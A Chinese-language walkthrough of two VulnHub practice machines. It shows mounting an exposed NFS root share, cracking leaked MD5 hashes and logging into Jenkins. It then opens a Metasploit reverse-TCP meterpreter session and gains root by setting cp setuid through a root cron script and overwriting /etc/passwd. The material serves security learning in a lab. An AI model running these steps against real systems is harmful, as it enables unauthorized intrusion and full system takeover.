本次一共实战了两个靶机,FourandSix靶机渗透比较简单,但还是值得记录学习,jarbas靶机稍微难度大点但难度也不高。
下载FourandSix靶机:https://download.vulnhub.com/fourandix/FourAndSix-vmware.zip
下载好后解压,如果安装好了vmware直接点击vmx文件,用vmware运行即可
主机:kali linux 222.182.111.132
靶机 : FourandSix靶机
目标:拿下靶机root权限和里面的flag
1.确定靶机ip (我是将靶机的网络模式改成nat模式,共享主机的ip,让靶机和主机在同一网段下)
扫描同网段下其余存活主机:
nmap -sP 222.182.111.1/24
222.182.111.1为网关地址,222.182.111.254为虚拟机分配ip的结束地址,222.182.111.132为kali地址,所以确定靶机ip为222.182.111.135
2.扫描靶机确定端口及服务
nmap -sV 222.182.111.135
可以看到靶机开放了三个端口:22(ssh),111(rpcbind),2049(nfs)
靶机开放的三个端口,22端口我们不到万不得已,不会去爆破,这里没有常见的http端口,我们去百度下剩下两个端口对应的服务
nfs服务主要是为了服务端和客户端的网络共享,在客户端可以挂载服务端中的共享目录,在这里靶机相当于服务端,该端口开放意味着靶机存在共享目录等着我们去挂载,里面肯定有重要信息。
而rpcbind服务是一个RPC服务,主要是在nfs共享时候负责通知客户端,服务器的nfs端口号是什么的。简单理解rpc就是一个中介服务。
那现在我们就应该在kali客户端上搭建nfs服务去挂载靶机的共享目录,由于kali默认没有安装NFS客户端工具,需要在kali上安装。
过程如下:
安装nfs-common:
apt-get install nfs-common
打开NFS相关配置文件/etc/exports
leafpad /etc/exports
并且输入以下内容:
/share1 *(sync,ro) 222.182.111.135(sync,rw) #输出“/share1” 目录,对所有主机可读,对地址为222.182.111.135的主机可读可写,rw表示可读写,sync表示同步写入,数据安全,基本不会丢,但效率低
编辑完成后需要重启服务,先重启rpcbind,再重启nfs
systemctl restart rpcbind
systemctl restart nfs
查看靶机NFS服务器的共享服务器列表
showmount -e 222.182.111.135
可以看到/shared目录是共享的
在kali客户端上创建挂载点
mkdir /mnt/share1
mount -t nfs 222.182.111.135:/shared /mnt/share1 #mount命令主要用于挂载文件。这里将靶机nfs服务端的共享文件夹/shared挂载到kali的/mnt/share1目录下
cd /mnt/share1
ls
可以看到有一个img文件,我们将其创建一个USB-stick目录将img文件挂载到里面,看看里面有什么:
mkdir USB-stick
mount USB-stick.img USB-stick
cd USB-stick
ls -al
看到里面是一些图片,并没有什么:
在这里思路断了,卡了很久。原来根目录也是共享的
在/mnt/share1/USB-stick目录下创建一个jlzj的文件夹,尝试挂载根目录
mkdir jlzj
mount 222.182.111.135:/ jlzj #挂载到jlzj目录下
cd /jlzj
ls -la
是个惊奇的发现
我们看看root目录里面有什么
我们看看proof.txt有什么
cat proof.txt
5027a37dc785a5d1888bffd4e249e3dd
应该是flag了。
happy hacking!
有时候有许多信息都要自己去先学习了才能找到突破口,比如nfs本菜以前从未听过,也是才学习的,不足之处请多指教,不喜勿喷。
下载jarbas靶机:https://download.vulnhub.com/jarbas/Jarbas.zip
主机:kali linux 222.182.111.132
靶机 : jarbas靶机
目标:拿下靶机root权限和里面的flag
1.确定靶机ip
扫描同网段下其余存活主机:
nmap -sP 222.182.111.1/24
确定靶机ip为222.182.111.137
2.扫描靶机确定端口及服务
nmap -sV -p- 222.182.111.137
可以看到开放了22(ssh),80(http),3306(mysql),8080(http)四个端口
老规矩,我们先访问80端口看看:
一顿查看源代码,查看网络管理器,没发现什么重要的信息,那我们就爆破目录:
dirb http://222.182.111.137:80 /usr/share/dirb/wordlists/big.txt
没爆破到什么重要目录,可能是字典不够强大,那我们换一种方式,用扩展名来探测,测试一些常用的扩展名,如php,html等:
dirb http://222.182.111.137:80 -X .php
dirb http://222.182.111.137:80 -X .html #dirb的-X参数,代表匹配扩展名,默认字典是/usr/share/dirb/wordlists/common.txt,dirb自带的公共目录,会将字典内的内容加上扩展名去爆破
common.txt如图所示:
爆破到access.html:
我们看看里面有什么:
发现三组用户名及其密码hash,本菜尝试用md5解密,解密得到三组用户名及密码
tiago:italia99
trindade:marianna
eder:vipsu
尝试在网页登录,连接ssh都不可行
那我们看看8080端口有什么线索:
发现是一个登录页面,我们用三组用户密码尝试,发现最后一组可行,登录成功:
这是一个jenkins平台,Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台。
我们在用metasploit试试看看能否获取会话
google一波,发现默认就有一个模块jenkins_script_console
试一试
依次输入以下命令:
use exploit/multi/http/jenkins_script_console
show options
set target 1
set USERNAME eder
set PASSWORD vipsu
set RHOST 222.182.111.137
set RPORT 8080
set TARGETURI /
show payloads
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 222.182.111.132
exploit
配置完成后为下图所示:
成功拿到了会话:
提权方式如下:
我们查看下 /etc/crontab文件,该文件里记录的是隔一段时间执行的一些命令,也就是会记录crontab命令隔一段时间执行的命令的调度表。
可以看到/etc/script/目录下的CleaningScript.sh文件会隔五分钟执行一次,原本是用于每隔五分钟删除访问日志,这个文件的执行权限是root,正因为这个文件的执行权限是root,所以这里有一个思路:
我们上传一个伪造的passwd文件,我们在里面添加一个具有root权限的超级用户jlzj,因为一般的cp拷贝命令是没有权限操作/etc/passwd文件的,所以我们需要将给cp命令添加权限的命令写入CleaningScript.sh文件中,隔五分钟自动执行一次,这样cp拷贝命令执行时具有对/etc/passwd的操作权限,就可以替换掉原来的/etc/passwd文件。那么我们就成为了超级用户了
具体实现过程如下:
将给cp命令加权的命令写入文件:
cd /etc/script/
echo "chmod u+s /usr/bin/cp" > CleaningScript.sh
在终端生成加盐的用户名密码hash
touch passwd
leafpad passwd
openssl passwd -1 -salt jlzj abc123 #该命令用于生成hash,-1表示用MD5基于BSD的密钥算法。用户名为jlzj,密码是abc123
将生成的新用户hash加入到伪造的passwd文件中:
接着执行如下命令:
upload /root/passwd /tmp #这里需要先crtl+c退出shell回到会话,再用会话的upload命令上传到/tmp目录下
shell #切换到shell
python -c 'import pty;pty.spawn("/bin/bash")'
在shell执行:
cd /tmp
cp passwd /etc/passwd #拷贝伪造得的passwd文件覆盖原本的/etc/passwd文件
cat /etc/passwd #查看是否拷贝成功
拷贝成功
接下来我们切换到新创建的jlzj用户:
su jlzj
输入密码abc123,成功拿到root权限:
接下来切换到root目录下拿到flag.txt即可:
靶机总体难度不算难,我认为有三个难点:
1.爆破目录时,也要讲究技巧,不能一味使用字典,当然字典足够强大也可以(嘿嘿,手动滑稽)
2.寻找可用的metasploit的模块
3.最后提权的思路,当然思路可能有其他,那就等待大佬们去发现啦。
本文写的比较琐碎详细,可能比较适合新手,大佬们不喜勿喷哈。
http://www.rkali.com/2018/04/20/nfs/
https://zhidao.baidu.com/question/617321960475860852.html
https://blog.csdn.net/frankarmstrong/article/details/78774679